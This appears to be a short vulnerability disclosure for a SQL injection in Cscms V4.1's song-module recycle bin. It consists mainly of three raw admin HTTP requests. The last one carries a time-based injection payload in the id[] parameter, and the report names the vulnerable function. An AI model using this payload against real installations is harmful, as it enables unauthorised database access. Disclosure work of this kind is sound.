Cscms V4.1 has sqlinjection

[dhw614714]

Log in to the background, open the song module, create a new song, delete it to the recycle bin, and SQL injection security problems will occur when emptying the recycle bin.

POST /admin.php/dance/admin/dance/save HTTP/1.1
Host: cscms.test
Content-Length: 292
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/dance/admin/dance/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=fu57r2004iad4jdrjkdmd8fvs7f2i5st
Connection: close

cid=1&addtime=ok&name=1&color=&pic=&user=&cion=0&purl=&durl=&reco=0&tid=0&fid=0&zc=&zq=&bq=&hy=&singer=&dx=&yz=&sc=&tags=&hits=0&yhits=0&zhits=0&rhits=0&dhits=0&chits=0&shits=0&xhits=0&vip=0&level=0&wpurl=&wppass=&skins=play.html&gc=0&text=&file=&lrc=&title=&keywords=&description=&id=0&sid=0

POST /admin.php/dance/admin/dance/del?yid=0 HTTP/1.1
Host: cscms.test
Content-Length: 4
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/dance/admin/dance?yid=0&v=4368
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=fu57r2004iad4jdrjkdmd8fvs7f2i5st
Connection: close

id=4

POST /admin.php/dance/admin/dance/del?yid=3 HTTP/1.1
Host: cscms.test
Content-Length: 23
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/news/admin/lists
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_session=3behs42hkl0muvs8047p2eamcoocuiu6; cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA;XDEBUG_SESSION=PHPSTORM
Connection: close

id[]=4)and(sleep(5))--+

plugins/dance/admin/Dance.php::del